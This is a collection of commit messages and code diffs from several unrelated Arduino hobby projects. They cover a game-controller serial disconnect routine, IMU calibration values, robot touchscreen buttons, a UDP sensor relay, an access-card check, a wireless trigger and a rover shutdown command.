-    //Serial.println(calcPongTimestampIn);
-    //disconnectDone = currentMillis;
-    //Serial.println(disconnectDone);
+  if (autoDisconnectOnPingTimeout == 0) {
+    if ((calcPongTimestampIn - calcPingTimestampIn >= 10000) && (calcPongTimestampIn - calcPingTimestampIn <= currentMillis)) {
+      disconnectCalled = currentMillis;
+
+      //  Before disconnecting, we need to reset all Command status, and tell the computer they were reset
+      serial_rx_buffer_controller[0] = 0x01; //  Preamble
+      serial_rx_buffer_controller[1] = 0x00; //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
+      serial_rx_buffer_controller[2] = 0x00; //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
+      serial_rx_buffer_controller[3] = 0x7F; //  RX
+      serial_rx_buffer_controller[4] = 0x7F; //  RY
+      serial_rx_buffer_controller[5] = 0x7F; //  LX
+      serial_rx_buffer_controller[6] = 0x7F; //  LY
+      serial_rx_buffer_controller[7] = 0x00; //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7  //  All other bits in this Buffer Array Element are unused
+      serial_rx_buffer_controller[8] = 0x00; //  Unused
+      serial_rx_buffer_controller[9] = 0x00; //  Delay Byte 2
+      serial_rx_buffer_controller[10] = 0x00; // Delay Byte 1
+      serial_rx_buffer_controller[11] = 0x01; // Postamble
+
+      for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {
+        Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
+        serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]); //  Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values
+      }
+
+      //  First 8 buttons, Buffer Array Element 1
+      //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
+      digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));
+      digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));
+      digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));
+      digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));
+      digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));
+      digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));
+      digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));
+      digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));
+
+      //  Second 8 buttons, Buffer Array Element 2
+      //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
+      digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));
+      digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));
+      digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));
+      digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));
+      digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));
+      digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));
+      digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));
+      digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));
+
+      //  4 Axis, Buffer Array Elements 3, 4, 5, 6
+      //  RX, RY, LX, LY
+      analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);
+      analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);
+      analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);
+      analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);
+
+      //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7
+      //  All other bits in this Buffer Array Element are unused
+      digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));
+
+      //  Buffer Array Element 8 is unused in this code, but is existing in case changes are needed
+      Serial.flush();
+
+      //  Tell the computer the connection is about to be closed
+      serial_rx_buffer_disconnect[8] = (byte)((disconnectCalled & 0xFF));
+      serial_rx_buffer_disconnect[7] = (byte)((disconnectCalled >> 8) & 0xFF);
+      serial_rx_buffer_disconnect[6] = (byte)((disconnectCalled >> 16) & 0xFF);
+      serial_rx_buffer_disconnect[5] = (byte)((disconnectCalled >> 24) & 0xFF);
+      //Serial.println(disconnectCalled);
+      //Serial.println("DISCONNECTING...");
+      //Serial.print("DISCONNECTING PING = ");
+      //Serial.println(calcPongTimestampIn);
+      serial_rx_buffer_disconnect[0] = 0x09;
+      serial_rx_buffer_disconnect[11] = 0x09;
+      for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {
+        Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
+      }
+      Serial.flush();
+      //calcPongTimestamp = 0;
+      previousPongDelay = currentMillis;
+      //Serial.println("Closing connection");
+      //Serial.println(calcPongTimestamp);
+      Serial.end();
+      isConnected = false;
+      delay(2500); // Wait 2.5 seconds before starting connection
+      //Serial.println("Sending shit after connection has closed");
+      Serial.begin(baudRate);
+      //Serial.println("Connection started");
+      //  Tell the computer the connection has began succesfully
+      serial_rx_buffer_disconnect[0] = 0x0B;
+      serial_rx_buffer_disconnect[11] = 0x0B;
+      serial_rx_buffer_disconnect[8] = (byte)((disconnectDone & 0xFF));
+      serial_rx_buffer_disconnect[7] = (byte)((disconnectDone >> 8) & 0xFF);
+      serial_rx_buffer_disconnect[6] = (byte)((disconnectDone >> 16) & 0xFF);
+      serial_rx_buffer_disconnect[5] = (byte)((disconnectDone >> 24) & 0xFF);
+      for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer_disconnect); serial_rx_buffer_counter++) {
+        Serial.write(serial_rx_buffer_disconnect[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
+      }
+      Serial.flush();
+
+      //  Reset all Commands status just to make sure everything is working as intended
+      serial_rx_buffer_controller[0] = 0x01; //  Preamble
+      serial_rx_buffer_controller[1] = 0x00; //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
+      serial_rx_buffer_controller[2] = 0x00; //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
+      serial_rx_buffer_controller[3] = 0x7F; //  RX
+      serial_rx_buffer_controller[4] = 0x7F; //  RY
+      serial_rx_buffer_controller[5] = 0x7F; //  LX
+      serial_rx_buffer_controller[6] = 0x7F; //  LY
+      serial_rx_buffer_controller[7] = 0x00; //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7  //  All other bits in this Buffer Array Element are unused
+      serial_rx_buffer_controller[8] = 0x00; //  Unused
+      serial_rx_buffer_controller[9] = 0x00; //  Delay Byte 2
+      serial_rx_buffer_controller[10] = 0x00; // Delay Byte 1
+      serial_rx_buffer_controller[11] = 0x01; // Postamble
+
+      for (serial_rx_buffer_counter = 0; serial_rx_buffer_counter < sizeof(serial_rx_buffer); serial_rx_buffer_counter++) {
+        Serial.write(serial_rx_buffer_controller[serial_rx_buffer_counter]); //  This line writes the serial data back to the computer as a way to check if the Arduino isn't interpreting wrong values
+        serial_rx_buffer_inverted_controller[serial_rx_buffer_counter] = (255 - serial_rx_buffer_controller[serial_rx_buffer_counter]); //  Invert 0 to 255 and vice versa to make it easier to determine which commands to enable or not, and their values
+      }
+
+      //  First 8 buttons, Buffer Array Element 1
+      //  SELECT, L3, R3, START, DUP, DRIGHT, DDOWN, DLEFT
+      digitalWrite(commandArray[0], (serial_rx_buffer_inverted_controller[1] & B00000001));
+      digitalWrite(commandArray[1], (serial_rx_buffer_inverted_controller[1] & B00000010));
+      digitalWrite(commandArray[2], (serial_rx_buffer_inverted_controller[1] & B00000100));
+      digitalWrite(commandArray[3], (serial_rx_buffer_inverted_controller[1] & B00001000));
+      digitalWrite(commandArray[4], (serial_rx_buffer_inverted_controller[1] & B00010000));
+      digitalWrite(commandArray[5], (serial_rx_buffer_inverted_controller[1] & B00100000));
+      digitalWrite(commandArray[6], (serial_rx_buffer_inverted_controller[1] & B01000000));
+      digitalWrite(commandArray[7], (serial_rx_buffer_inverted_controller[1] & B10000000));
+
+      //  Second 8 buttons, Buffer Array Element 2
+      //  L2, R2, L1, R1, Triangle/Delta, Circle/O, Cross/X, Square
+      digitalWrite(commandArray[8], (serial_rx_buffer_inverted_controller[2] & B00000001));
+      digitalWrite(commandArray[9], (serial_rx_buffer_inverted_controller[2] & B00000010));
+      digitalWrite(commandArray[10], (serial_rx_buffer_inverted_controller[2] & B00000100));
+      digitalWrite(commandArray[11], (serial_rx_buffer_inverted_controller[2] & B00001000));
+      digitalWrite(commandArray[12], (serial_rx_buffer_inverted_controller[2] & B00010000));
+      digitalWrite(commandArray[13], (serial_rx_buffer_inverted_controller[2] & B00100000));
+      digitalWrite(commandArray[14], (serial_rx_buffer_inverted_controller[2] & B01000000));
+      digitalWrite(commandArray[15], (serial_rx_buffer_inverted_controller[2] & B10000000));
+
+      //  4 Axis, Buffer Array Elements 3, 4, 5, 6
+      //  RX, RY, LX, LY
+      analogWrite(commandArray[16], serial_rx_buffer_inverted_controller[3]);
+      analogWrite(commandArray[17], serial_rx_buffer_inverted_controller[4]);
+      analogWrite(commandArray[18], serial_rx_buffer_inverted_controller[5]);
+      analogWrite(commandArray[19], serial_rx_buffer_inverted_controller[6]);
+
+      //  Analog button (Used to change between Digital and Analog modes in older games), Buffer Array Element 7
+      //  All other bits in this Buffer Array Element are unused
+      digitalWrite(commandArray[20], (serial_rx_buffer_inverted_controller[7] & B00000001));
+
+      //  Buffer Array Element 8 is unused in this code, but is existing in case changes are needed
+      Serial.flush();
+
+      isConnected = true;
+      disconnectDone = currentMillis;
+      //Serial.println("Sending shit after connection has began");
+      //Serial.println("RECONNECTED!");
+      //Serial.println(calcPongTimestampIn);
+      //disconnectDone = currentMillis;
+      //Serial.println(disconnectDone);
+    }
   }
   else if (calcPongTimestampIn - calcPingTimestampIn < 10000) {
     //Serial.println("PONG OK");


added new imu calibration values

added new imu calibration values

--- sandbox/Razor_AHRS/Razor_AHRS.ino
+++ sandbox/Razor_AHRS/Razor_AHRS.ino
@@ -26,33 +26,33 @@
     X axis pointing forward (towards the short edge with the connector holes)
     Y axis pointing to the right
     and Z axis pointing down.
-
+
   Positive yaw   : clockwise
   Positive roll  : right wing down
   Positive pitch : nose up
-
+
   Transformation order: first yaw then pitch then roll.
 */

 /*
   Serial commands that the firmware understands:
-
+
   "#o<params>" - Set OUTPUT mode and parameters. The available options are:
-
+
       // Streaming output
       "#o0" - DISABLE continuous streaming output. Also see #f below.
       "#o1" - ENABLE continuous streaming output.
-
+
       // Angles output
       "#ob" - Output angles in BINARY format (yaw/pitch/roll as binary float, so one output frame
               is 3x4 = 12 bytes long).
       "#ot" - Output angles in TEXT format (Output frames have form like "#YPR=-142.28,-5.38,33.52",
               followed by carriage return and line feed [\r\n]).
-
+
       // Sensor calibration
       "#oc" - Go to CALIBRATION output mode.
       "#on" - When in calibration mode, go on to calibrate NEXT sensor.
-
+
       // Sensor data output
       "#osct" - Output CALIBRATED SENSOR data of all 9 axes in TEXT format.
                 One frame consist of three lines - one for each sensor: acc, mag, gyr.
@@ -74,32 +74,32 @@
                One frame consist of three lines - one for RPY, accel, gyro
       "#oab" - Output CALIBRATED SENSOR data of accelerometer and gyros in BINARY format.
                One frame consist of two 3x3 float values and one RPY 3x4 (24 bytes + 12 bytes = 36 bytes long)
-
-      // Error message output
+
+      // Error message output
       "#oe0" - Disable ERROR message output.
       "#oe1" - Enable ERROR message output.
-
-
+
+
   "#f" - Request one output frame - useful when continuous output is disabled and updates are
          required in larger intervals only. Though #f only requests one reply, replies are still
          bound to the internal 20ms (50Hz) time raster. So worst case delay that #f can add is 19.99ms.
-
-
+
+
   "#s<xy>" - Request synch token - useful to find out where the frame boundaries are in a continuous
          binary stream or to see if tracker is present and answering. The tracker will send
          "#SYNCH<xy>\r\n" in response (so it's possible to read using a readLine() function).
          x and y are two mandatory but arbitrary bytes that can be used to find out which request
          the answer belongs to.
-
-
+
+
   ("#C" and "#D" - Reserved for communication with optional Bluetooth module.)
-
+
   Newline characters are not required. So you could send "#ob#o1#s", which
   would set binary output mode, enable continuous streaming output and request
   a synch token all at once.
-
+
   The status LED will be on if streaming output is enabled and off otherwise.
-
+
   Byte order of binary output is little-endian: least significant byte comes first.
 */

@@ -170,11 +170,11 @@
 // Accelerometer
 // "accel x,y,z (min/max) = X_MIN/X_MAX  Y_MIN/Y_MAX  Z_MIN/Z_MAX"
 #define ACCEL_X_MIN ((float) -264)
-#define ACCEL_X_MAX ((float) 246)
-#define ACCEL_Y_MIN ((float) -248)
-#define ACCEL_Y_MAX ((float) 263)
-#define ACCEL_Z_MIN ((float) -269)
-#define ACCEL_Z_MAX ((float) 229)
+#define ACCEL_X_MAX ((float) 255)
+#define ACCEL_Y_MIN ((float) -264)
+#define ACCEL_Y_MAX ((float) 279)
+#define ACCEL_Z_MIN ((float) -289)
+#define ACCEL_Z_MAX ((float) 230)

 // Magnetometer (standard calibration mode) - unused (extended instead)
 // "magn x,y,z (min/max) = X_MIN/X_MAX  Y_MIN/Y_MAX  Z_MIN/Z_MAX"
@@ -324,24 +324,24 @@

   read_sensors();
   timestamp = millis();
-
+
   // GET PITCH
   // Using y-z-plane-component/x-component of gravity vector
   pitch = -atan2(accel[0], sqrt(accel[1] * accel[1] + accel[2] * accel[2]));
-
+
   // GET ROLL
-  // Compensate pitch of gravity vector
+  // Compensate pitch of gravity vector
   Vector_Cross_Product(temp1, accel, xAxis);
   Vector_Cross_Product(temp2, xAxis, temp1);
   // Normally using x-z-plane-component/y-component of compensated gravity vector
   // roll = atan2(temp2[1], sqrt(temp2[0] * temp2[0] + temp2[2] * temp2[2]));
   // Since we compensated for pitch, x-z-plane-component equals z-component:
   roll = atan2(temp2[1], temp2[2]);
-
+
   // GET YAW
   Compass_Heading();
   yaw = MAG_Heading;
-
+
   // Init rotation matrix
   init_rotation_matrix(DCM_Matrix, yaw, pitch, roll);
 }
@@ -377,7 +377,7 @@

   // Reset this calibration session?
   if (!reset_calibration_session_flag) return;
-
+
   // Reset acc and mag calibration variables
   for (int i = 0; i < 3; i++) {
     accel_min[i] = accel_max[i] = accel[i];
@@ -387,7 +387,7 @@
   // Reset gyro calibration variables
   gyro_num_samples = 0;  // Reset gyro calibration averaging
   gyro_average[0] = gyro_average[1] = gyro_average[2] = 0.0f;
-
+
   reset_calibration_session_flag = false;
 }

@@ -414,7 +414,7 @@
 {
   // Init serial output
   Serial.begin(OUTPUT__BAUD_RATE);
-
+
   // Init status LED
   pinMode (STATUS_LED_PIN, OUTPUT);
   digitalWrite(STATUS_LED_PIN, LOW);
@@ -425,7 +425,7 @@
   Accel_Init();
   Magn_Init();
   Gyro_Init();
-
+
   // Read sensors, init DCM algorithm
   delay(20);  // Give sensors enough time to collect data
   reset_sensor_fusion();
@@ -455,7 +455,7 @@
         byte id[2];
         id[0] = readChar();
         id[1] = readChar();
-
+
         // Reply with synch message
         Serial.print("#SYNCH");
         Serial.write(id, 2);
@@ -568,14 +568,14 @@
     {
       // Apply sensor calibration
       compensate_sensor_errors();
-
+
       // Run DCM algorithm
       Compass_Heading(); // Calculate magnetic heading
       Matrix_update();
       Normalize();
       Drift_correction();
       Euler_angles();
-
+
       if (output_stream_on || output_single_on) output_angles();
     }
     else if (output_mode == OUTPUT__MODE_BOTH_CALIB)  // Output calibrate sensors and RPY
@@ -596,9 +596,9 @@
     {
       if (output_stream_on || output_single_on) output_sensors();
     }
-
+
     output_single_on = false;
-
+
 #if DEBUG__PRINT_LOOP_TIME == true
     Serial.print("loop time (ms) = ");
     Serial.println(millis() - timestamp);


Very minor comment update for "loop()".

Very minor comment update for "loop()".

--- DHT_Test.ino
+++ DHT_Test.ino
@@ -311,6 +311,7 @@
 }

+/* We should never get as far as the loop() function. */
 void loop() {
     // Nuthin' to see here.  Move along now!
     ESP.restart();


added spinMode and spinBtn

added spinMode and spinBtn

--- master/master.ino
+++ master/master.ino
@@ -56,6 +56,7 @@
 BUTTON magBtn(&tft, &touchedPoint);
 BUTTON ltBtn(&tft, &touchedPoint);
 BUTTON kickBtn(&tft, &touchedPoint);
+BUTTON spinBtn(&tft, &touchedPoint);

 bool kickMode = false;

@@ -96,6 +97,8 @@
 /**********************************************************/
 /*                      Backspin                          */
 /**********************************************************/
+bool spinMode = false; // spinMode triggers constant backspin
+
 int16_t backspinSpeed = 0;

 /**********************************************************/
@@ -430,24 +433,29 @@
 	magBtn.setText("MAG", 3, ILI9341_GREEN);
 	ltBtn.setText("LT", 3, ILI9341_GREEN);
 	kickBtn.setText("KICK", 3, ILI9341_GREEN);
+	spinBtn.setText("SPIN", 3, ILI9341_GREEN);

 	kickBtn.toggleBorderMode = true;
+	spinBtn.toggleBorderMode = true;

 	tftEnableBtn.setBounds(320 - 60, 0, 320, 60);
 	magBtn.setBounds(0, 180, 107, 240);
 	ltBtn.setBounds(107, 180, 214, 240);
 	kickBtn.setBounds(214, 180, 320, 240);
+	spinBtn.setBounds(214, 120, 320, 180);

 	tftEnableBtn.setColour(ILI9341_RED);
 	magBtn.setColour(tft.color565(50,50,50));
 	ltBtn.setColour(tft.color565(100,100,100));
 	kickBtn.setColour(tft.color565(150,150,150));
+	spinBtn.setColour(tft.color565(75,75,75));

 	tftEnableBtn.draw();
 	magBtn.draw();
 	ltBtn.draw();
 	kickBtn.draw();
+	spinBtn.draw();
 }

 void initDebugTFT(){
@@ -622,6 +630,7 @@
 				ltBtn.checkTouch();
 				magBtn.checkTouch();
 				kickBtn.checkTouch();
+				spinBtn.checkTouch();

 				if (tftEnableBtn.released){
 					// toggle display and touch
@@ -638,6 +647,14 @@
 				}
 				else if (kickBtn.released){
 					kickMode = !kickMode;
+					if (kickMode){
+						ltBtn.enabled = false;
+						magBtn.enabled = false;
+					}
+				}
+				else if (spinBtn.released){
+					spinMode = !spinMode;
+					kickBtn.enabled = false;
 				}

 				break;
@@ -741,6 +758,9 @@
 			targetVelocity = 0;
 			rotationCorrection = 0;
 		}
+		if (spinMode){
+			backspinSpeed = 255;
+		}
 		Slave3.moveRobot((uint8_t)(targetDir * 255/360), targetVelocity, rotationCorrection);
 		Slave3.moveMotorE(backspinSpeed);


minifying

minifying

--- src/nest.ino
+++ src/nest.ino
@@ -21,67 +21,57 @@
 #include <avr/pgmspace.h>
 #include <UIPEthernet.h>

-
+#define ENC28J60DEBUG 1
 #define RF_SERVER_ADDRESS 0

 RF22ReliableDatagram manager(RF_SERVER_ADDRESS, 8, 0);

 EthernetUDP udp;
-unsigned long next;

 void setup() {

   Serial.begin(9600);
   if (manager.init()) {
-    Serial.println(F("init success"));
+    //Serial.println(F("init success"));
   }
   else {
-    Serial.println(F("init failed"));
+    /*Serial.println(F("init failed"));*/
   }
-
   uint8_t mac[6] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05};

   Ethernet.begin(mac);
-
-  next = millis() + 5000;
 }

+const char nestId[] PROGMEM = "nestId:";
+const uint8_t offset PROGMEM =48;
+const uint8_t skydome_port=5506;
+const char skydome[] PROGMEM = "api.skydome.io";
 void loop() {
-
-
   uint8_t data[2] PROGMEM;
   if (manager.available()) {
     uint8_t len = 2;
     uint8_t from;

     if (manager.recvfromAck(data, &len, &from)) {
-
-      Serial.print("got data[0]:");
-      Serial.println(data[0]);
-
-      Serial.print("got data[1]:");
-      Serial.println(data[1]);
-      char message[] PROGMEM = {from + 48,':', data[0] + 48,':', data[1] + 48,'\0'};
-
-      sendMessage("nestId:",message);
+      char message[] PROGMEM = {from + offset,':', data[0] + offset,':', data[1] + offset,'\0'};
+      sendMessage(nestId,message);
     }
   }
 }

-void sendMessage(char *nestId, char *message) {
-  int success = udp.beginPacket("api.skydome.io", 5506);
-  Serial.print("beginPacket: ");
-  Serial.println(success ? "success" : "failed");
+void sendMessage(const char *nestId, char *message) {
+  int success = udp.beginPacket(skydome, skydome_port);
+  /*Serial.print("beginPacket: ");
+  Serial.println(success ? "success" : "failed");*/

   success = udp.write(nestId);
   success = udp.write(message);
-  Serial.print("bytes written: ");
-  Serial.println(success);
+  /*Serial.print("bytes written: ");
+  Serial.println(success);*/

   success = udp.endPacket();
-  Serial.print("endPacket: ");
-  Serial.println(success ? "success" : "failed");
+  /*Serial.print("endPacket: ");
+  Serial.println(success ? "success" : "failed");*/
   udp.stop();
 }
-


Added check for card initialization.

Added check for card initialization.

--- module/module.ino
+++ module/module.ino
@@ -82,8 +82,8 @@
 	else {
 		// Translate the time data bytes to a value
 		existingTime = getTime(readData, numTimeBytes, timeOffset);
-		// Check if the user has taken the class, skip if staff member
-		if ( !isAuthorized && !isStaff ) {
+		// Check if the user has taken the class and if the card has been initialized
+		if ( !isAuthorized && !userID ) {
 			red();
 			playDeath();
 			getStringFromMem(notAuthorized);
@@ -264,13 +264,14 @@
 				}
 			}

-			if (i == sampleSize - 1) {
-				i = 0;
-			}
-	    	else {
-	      		i += 1;
-	    	}
-
+			// if (i == sampleSize - 1) {
+			// 	i = 0;
+			// }
+	    	// else {
+	      	// 	i += 1;
+	    	// }
+
+			i < sampleSize - 1 ? i += 1 : i = 0;
 	    	digitalWrite(interlock, HIGH);
 			lastPollTime = millis();
 		}


added digital smoketest logic

added digital smoketest logic


Fix misc bugs

Fix misc bugs

--- WirelessTrigger.ino
+++ WirelessTrigger.ino
@@ -54,7 +54,7 @@
 #define HEARTBEAT_INTERVAL_MILLIS 1000
 #define DISPLAY_TIME_MILLIS 1000

-                                // can be digital pinsa
+// can be digital pinsa
 uint8_t triggerButtonPin = A0;
 uint8_t resetButtonPin = A1;

@@ -83,6 +83,7 @@

 // Parameter is sensor ID
 Adafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);
+bool bmpConnected = false;
 #endif

 void setup()
@@ -119,8 +120,11 @@
     actuationServo.attach(servoPin);
     actuationServo.write(RESET_SERVO_ANGLE);

-    if (!bmp.begin())
-        Serial.print(F("BMP085 connection failed"));
+    /*Serial.print(F("BMP085 connecting"));
+    if (bmp.begin(BMP085_MODE_STANDARD))
+        Serial.print(F("BMP085 connection succeeded"));
+    else
+        Serial.print(F("BMP085 connection failed"));*/

 #endif
 }
@@ -129,15 +133,19 @@

 #if ROLE == ROLE_SKY
 float getAltitude() {
-    sensors_event_t event;
-    bmp.getEvent(&event);
-
-    float temperature;
-    bmp.getTemperature(&temperature);
-
-    float seaLevelPressure = SENSORS_PRESSURE_SEALEVELHPA; // TODO: Find a more accurate value?
-
-    return bmp.pressureToAltitude(seaLevelPressure, event.pressure, temperature);
+    if (bmpConnected) {
+        sensors_event_t event;
+        bmp.getEvent(&event);
+
+        float temperature;
+        bmp.getTemperature(&temperature);
+
+        float seaLevelPressure = SENSORS_PRESSURE_SEALEVELHPA; // TODO: Find a more accurate value?
+
+        return bmp.pressureToAltitude(seaLevelPressure, event.pressure, temperature);
+    }
+
+    return -1;
 }

 #endif
@@ -199,7 +207,8 @@
     // NOTE: Always send spaces after text to clear cells past desired content.

     display.setCursor(0, 0);
-    display.print("Comms: " + (isCommHealthy ? "HEALTHY  " : "UNHEALTHY"));
+    String healthStr = isCommHealthy ? "HEALTHY  " : "UNHEALTHY";
+    display.print("Comms: " + healthStr);
     display.setCursor(0, 1);

     if (millis() - lastTriggerSignalTime < DISPLAY_TIME_MILLIS) {
@@ -224,6 +233,7 @@
             actuationServo.write(RESET_SERVO_ANGLE);
             break;
         case ackVal:
+        { // Enclose this in braces to localize variables
             Serial.println(F("Heartbeat byte received"));

             float altitude = getAltitude();
@@ -234,6 +244,7 @@

             validateAck(sendData(&packetData, sizeof(packetData)));
             break;
+        }
         default:
             Serial.print(F("Received unknown signal "));
             Serial.println((int)recvByte);
@@ -308,7 +319,7 @@
             radio.read(&recvByte, 1);
             radio.writeAckPayload(1, &ackVal, 1);

-            Serial.print(F("Received ack"));
+            Serial.println(F("Received ack"));
         }
     }
     else {


Send shutdown command on a separate line

--- Arduino/Rover3Multifunction/Rover3Multifunction.ino
+++ Arduino/Rover3Multifunction/Rover3Multifunction.ino
@@ -114,8 +114,6 @@
 int distance_slowdown = 150;
 int distance_rear_slowdown = 75;
 int speed_slow = 60;
-
-int shutdown_pi = 0;

 // This is where you declare prototypes for the functions that will be
 // using the TinyGPS library.
@@ -402,7 +400,7 @@

 void shutdownPi()
 {
-  shutdown_pi = 1;
+  writeCommand("SHUTDOWN");
 }

 void turnLeft(int power)
@@ -736,6 +734,20 @@
   }
 }

+// Write a command (to RPi)
+
+void writeCommand(String cmd) {
+
+   String cmdMessage = "CMD " + cmd;
+
+   // USB debugging
+   Serial.println(cmdMessage);
+
+   // RPi
+   Serial1.println(cmdMessage);
+
+}
+
 // Output current status

 void writeStatus() {
@@ -763,10 +775,6 @@

     // Get other data to send
     String otherData = "none"; // ***** PLACEHOLDER *****
-
-    if (shutdown_pi) {
-       otherData = "CMD:SHUTDOWN";
-    }

     String logMessage = "DATA "
       + String(gps_latitude, 5) + " "


Removed old arduino sketch

Removed old arduino sketch

--- GPSAGV_2LCD/GPSAGV_2LCD.ino
+++ GPSAGV_2LCD/GPSAGV_2LCD.ino
@@ -1,507 +0,0 @@
-//compiled on 1.5.1r2
-//Sample using LiquidCrystal library
-#include <LiquidCrystal.h>
-
-// select the pins used on the LCD panel
-LiquidCrystal lcd(8, 9, 4, 5, 6, 7);
-
-// define some values used by the panel and buttons
-int lcd_key     = 0;
-int adc_key_in  = 0;
-#define btnRIGHT  0
-#define btnUP     1
-#define btnDOWN   2
-#define btnLEFT   3
-#define btnSELECT 4
-#define btnNONE   5
-
-// read the buttons
-int read_LCD_buttons()
-{
- adc_key_in = analogRead(0);      // read the value from the sensor
- // my buttons when read are centered at these valies: 0, 144, 329, 504, 741
- // we add approx 50 to those values and check to see if we are close
- if (adc_key_in > 1000) return btnNONE; // We make this the 1st option for speed reasons since it will be the most likely result
- if (adc_key_in < 50)   return btnRIGHT;
- if (adc_key_in < 195)  return btnUP;
- if (adc_key_in < 380)  return btnDOWN;
- if (adc_key_in < 555)  return btnLEFT;
- if (adc_key_in < 790)  return btnSELECT;
- return btnNONE;  // when all others fail, return this...
-}
-
-
-
-
-
-
-#include <SoftwareSerial.h>
-#include <TinyGPS.h>
-#include <Wire.h>
-int HMC6352Address = 0x42;
-int slaveAddress;
-byte headingData[2];
-int i, headingValue;
-     // tiny gps library code
-  float flat, flon;
-   float heading=0;
-int headinggps;
-int buttonreaddone;
-TinyGPS gps;
-SoftwareSerial mySerial(2, 3);    // rx and tx pins in use
-//#define mo1 5
-//#define mo2 4
-//#define mo3 6
-//#define mo4 7
-#define led 13
-int x4=0;
-#define buttons 0
-int waypoints;   // number of waypoints
-int waycont=1;
-float x2lat;
-float x2lon;
-float flat2;   //waypoint 1    //28.324603,-82.267419 home testing
-float flon2;
-float flat3;       //waypoint 2
-float flon3;
-float flat4;     //waypoint 3
-float flon4;
-float flat5;    // waypoint   4
-float flon5;
-float flat6;
-float flon6;
-float flat7;
-float flon7;
-void gpsdump(TinyGPS &gps);
-bool feedgps();
-void printFloat(double f, int digits = 2);
-int serv;
-void setup()
-{
-  lcd.begin(16, 2);              // start the library
- lcd.setCursor(0,0);
- lcd.print("TESTING..."); // print a simple message
-
-
-
-
-
-
-
-  slaveAddress = HMC6352Address >> 1;
-Wire.begin();
-  Serial.begin(115200);
-  Serial.println("Booting ...");
-  mySerial.begin(4800);
-  pinMode(led, OUTPUT);
-  pinMode(buttons, INPUT);
-//pinMode(mo1, OUTPUT);
- //   pinMode(mo2, OUTPUT);
-  //    pinMode(mo3,OUTPUT);
-   //     pinMode(mo4, OUTPUT);
-}
-
-void loop()
-{ //-------------------------------------------- this is all gps stuff. This is just the example code given from tiny gps library.
-//----------------------------------------------I deleted the part of the code for the time and date. I did not want it.
-
-  bool newdata = false;
-  unsigned long start = millis();
-  while (millis() - start < 250)            // get new data every 1/4 of a second
-  {
-    if (feedgps())
-      newdata = true;
-  }
-
-  if (newdata)
-  {
-    Serial.println("Acquired Data");
-    Serial.println("-------------");
-    gpsdump(gps);
-    Serial.println("-------------");
-   Serial.println();
-  }
-}
-
-void printFloat(double number, int digits)
-{
-  // Handle negative numbers
-  if (number < 0.0)
-  {
-     Serial.print('-');
-     number = -number;
-  }
-
-  // Round correctly so that print(1.999, 2) prints as "2.00"
-  double rounding = 0.5;
-  for (uint8_t i=0; i<digits; ++i)
-    rounding /= 10.0;
-
-  number += rounding;
-
-  // Extract the integer part of the number and print it
-  unsigned long int_part = (unsigned long)number;
-  double remainder = number - (double)int_part;
- Serial.print(int_part);
-
-  // Print the decimal point, but only if there are digits beyond
-  if (digits > 0)
-    Serial.print(".");
-  // Extract digits from the remainder one at a time
-  while (digits-- > 0)
-  {
-    remainder *= 10.0;
-    int toPrint = int(remainder);
-    Serial.print(toPrint);
-    remainder -= toPrint;
-  }
-}
-
-void gpsdump(TinyGPS &gps)
-{
-  long lat, lon;
-
-  unsigned long age, date, time, chars;
-
-  unsigned short sentences, failed;
-
-
-  feedgps(); // If we don't feed the gps during this long routine, we may drop characters and get checksum errors
-
-  gps.f_get_position(&flat, &flon, &age);
-  Serial.print("Lat/Long(float): "); printFloat(flat, 7); Serial.print(", "); printFloat(flon, 7);   // print our current posistion
-  Serial.print(" Fix age: "); Serial.print(age); Serial.println("ms.");
-feedgps();
-
